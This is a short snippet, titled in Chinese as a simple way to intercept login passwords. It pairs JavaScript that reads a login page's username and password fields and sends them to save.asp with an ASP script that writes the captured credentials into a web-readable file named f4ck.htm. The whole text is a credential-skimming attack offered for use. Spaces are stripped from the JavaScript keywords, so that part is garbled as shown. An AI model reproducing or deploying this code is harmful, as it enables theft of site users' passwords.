简单的截获登录密码

<script type="text/javascript">// <![CDATA[
functiongetpass()
{
varname=document.getElementById("username").value;
varpass=document.getElementById("password").value;
varxmlhttp;
if(window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=newXMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=newActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("GET","save.asp?u="+ name +"&p="+ pass,true);
xmlhttp.send();
}
// ]]></script>

<%
dim user,pass,fs,fname
user = Request.QueryString("u")
pass = Request.QueryString("p")
set fs=Server.CreateObject("Scripting.FileSystemObject")
set fname=fs.CreateTextFile("C:\wwwroot\f4ck.htm",true)
fname.Write(user + "
" + pass)
fname.Close
set fname=nothing
set fs=nothing
%>